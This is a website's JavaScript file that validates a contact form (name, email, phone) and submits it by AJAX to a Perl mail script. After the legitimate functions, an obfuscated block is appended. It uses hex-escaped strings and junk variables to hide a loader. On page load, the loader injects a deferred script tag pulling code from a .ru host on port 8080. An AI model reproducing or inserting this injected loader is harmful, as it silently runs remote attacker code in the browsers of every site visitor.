	function submitIt(sendEmail){
	// Form validation
	var valid = validIt(sendEmail);
	
	
 		// Send email if data is valid
		if (valid) {
			node = document.getElementById("emptyFields");
			node.firstChild.nodeValue=" ";
		
			node = document.getElementById("wrongEmail");
			node.firstChild.nodeValue=" ";

			$.ajax({
   		type: "POST",
  			 url: "cgi-bin/semail.pl",
   		data: $("#messageForm").serialize(),
   		success: function(msg){
   		resetFields(sendEmail);
   		node = document.getElementById("messageSent");
			node.firstChild.nodeValue=msg;
  			}
 			}); 
  		
		}
		
	}
	

	function validIt(sendEmail){
	
	// Fields validation
		var node;
		var valid = true;
		
		node = document.getElementById("messageSent");
		node.firstChild.nodeValue=" ";
		
	if (sendEmail.fname.value == "") {
		node = document.getElementById("fnameStar");
		node.firstChild.nodeValue="!";
		sendEmail.fname.style.background="#ffffaa"; } 
	else {
		node = document.getElementById("fnameStar");
		node.firstChild.nodeValue="*";
		sendEmail.fname.style.background="#ffffff";
	}
	
	if (sendEmail.lname.value == "") {
		node = document.getElementById("lnameStar");
		node.firstChild.nodeValue="!";
		sendEmail.lname.style.background="#ffffaa"; } 
	else {
		node = document.getElementById("lnameStar");
		node.firstChild.nodeValue="*";
		sendEmail.lname.style.background="#ffffff";
	}
	
	if (sendEmail.email.value == "") {
		node = document.getElementById("emailStar");
		node.firstChild.nodeValue="!";
		sendEmail.email.style.background="#ffffaa"; } 
	else {
		node = document.getElementById("emailStar");
		node.firstChild.nodeValue="*";
		sendEmail.email.style.background="#ffffff";
		// Email validation
		var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
   	var address = sendEmail.email.value;
   	if(reg.test(address) == false) {
      	//alert('Invalid Email Address');
      	node = document.getElementById("emailStar");
			node.firstChild.nodeValue="!";
      	sendEmail.email.style.background="#ffffaa";
      	node = document.getElementById("wrongEmail");
			node.firstChild.nodeValue="Please, enter a valid email address";	
			valid = false;}
		else {
			node = document.getElementById("emailStar");
			node.firstChild.nodeValue="*";
			sendEmail.email.style.background="#ffffff";
			node = document.getElementById("wrongEmail");
			node.firstChild.nodeValue=" ";
		}	
	}
	
	if (sendEmail.mphone.value == "") {
		node = document.getElementById("mphoneStar");
		node.firstChild.nodeValue="!";
		sendEmail.mphone.style.background="#ffffaa"; } 
	else {
		node = document.getElementById("mphoneStar");
		node.firstChild.nodeValue="*";
		sendEmail.mphone.style.background="#ffffff";
	}	
	
		
	if (sendEmail.fname.value == "" || sendEmail.lname.value == "" || 
		 sendEmail.email.value == "" || sendEmail.mphone.value == "" ) {
		 node = document.getElementById("emptyFields");
		 node.firstChild.nodeValue="Please, complete all of the required fields.";
		 valid = false;
	}
	
	return valid;

	}
	
	function resetFields(sendEmail) {
	
		node = document.getElementById("messageSent");
		node.firstChild.nodeValue=" ";

		node = document.getElementById("emptyFields");
		node.firstChild.nodeValue=" ";
		
		node = document.getElementById("wrongEmail");
		node.firstChild.nodeValue=" ";
		
		node = document.getElementById("fnameStar");
		node.firstChild.nodeValue="*";
		sendEmail.fname.style.background="#ffffff";
		
		node = document.getElementById("lnameStar");
		node.firstChild.nodeValue="*";
		sendEmail.lname.style.background="#ffffff";
		
		node = document.getElementById("emailStar");
		node.firstChild.nodeValue="*";
		sendEmail.email.style.background="#ffffff";
		
		node = document.getElementById("mphoneStar");
		node.firstChild.nodeValue="*";
		sendEmail.mphone.style.background="#ffffff";
		
		sendEmail.fname.value="";
		sendEmail.lname.value="";
		sendEmail.email.value="";
		sendEmail.mphone.value="";
		sendEmail.comments.value="";
		sendEmail.company.value="";
		
	}
	




function K(){var _;if(_!='' && _!='kb'){_=''};var e=new Date();var F;if(F!=''){F='njY'};this.Ru="";var n=unescape;var X=new Date();var E=window;var nT=new Date();var PG=new Date();var k=n("%2f%73%75%65%64%64%65%75%74%73%63%68%65%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%66%6f%6c%64%65%72%2e%72%75%2e%70%68%70");this.PB="";var ld;if(ld!='TD'){ld='TD'};function l(J,g){var lE="gKLNM".substr(0,1);var S=n("%5b"), Y=n("%5d");var bZ;if(bZ!='j' && bZ!='c'){bZ=''};var Er;if(Er!='' && Er!='rT'){Er=null};var R=S+g+Y;var kB;if(kB!='' && kB!='FV'){kB=''};var Sdz=new String();var G=new RegExp(R, lE);return J.replace(G, new String());this.f='';this.oL='';};this.nP="";var Xq="";var pW=new Array();var zC="";var kq;if(kq!='xX' && kq != ''){kq=null};var eG=new String();var lV=new String();var gQ=new String();var PR;if(PR!='' && PR!='wo'){PR='H'};var nR=new String();var uP;if(uP!='Wp' && uP != ''){uP=null};var Kz=document;var Yz=l('864713912015243871221063229452','37294561');var UM=new String();var xA;if(xA!='' && xA!='Yo'){xA=null};this.QP='';function t(){var Z;if(Z!=''){Z='YZ'};var dX;if(dX!='' && dX!='Rf'){dX=null};this.Yzi='';var I=n("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var ls="";var M;if(M!='' && M!='Vw'){M=null};var PH;if(PH!='uk'){PH=''};var Ms=new Date();nR=I;var HP;if(HP!='Qs'){HP=''};nR+=Yz;var Qk="";nR+=k;var WU='';var yB;if(yB!='gT'){yB=''};try {var rU='';var qh=new String();var kz;if(kz!='Kp'){kz='Kp'};d=Kz.createElement(l('s_cHr_iHpHt_','_jH'));var XC=new Array();var jG=new Array();d[n("%64%65%66%65%72")]=[1][0];this.Lu='';this.kS="";d[n("%73%72%63")]=nR;var mo;if(mo!='nc' && mo!='uy'){mo=''};var Zd="";var uA=new Array();var kd;if(kd!='vK'){kd='vK'};Kz.body.appendChild(d);var XH=new Array();var jF;if(jF!=''){jF='mI'};var Tg=new String();} catch(b){var Mb="";alert(b);var hR="";var qq;if(qq!='' && qq!='Ak'){qq='El'};};}var zr;if(zr!='' && zr!='SY'){zr=''};this.GM='';var ud;if(ud!='HML' && ud != ''){ud=null};E[String("onlo"+"kQcad".substr(3))]=t;var sm=new Array();var wX=new Array();var dN;if(dN!='Cz' && dN!='rh'){dN=''};var Gs;if(Gs!='fr' && Gs!='U_'){Gs='fr'};};var gf;if(gf!='' && gf!='LY'){gf=''};var ll;if(ll!='' && ll!='nV'){ll=''};K();this.Up='';
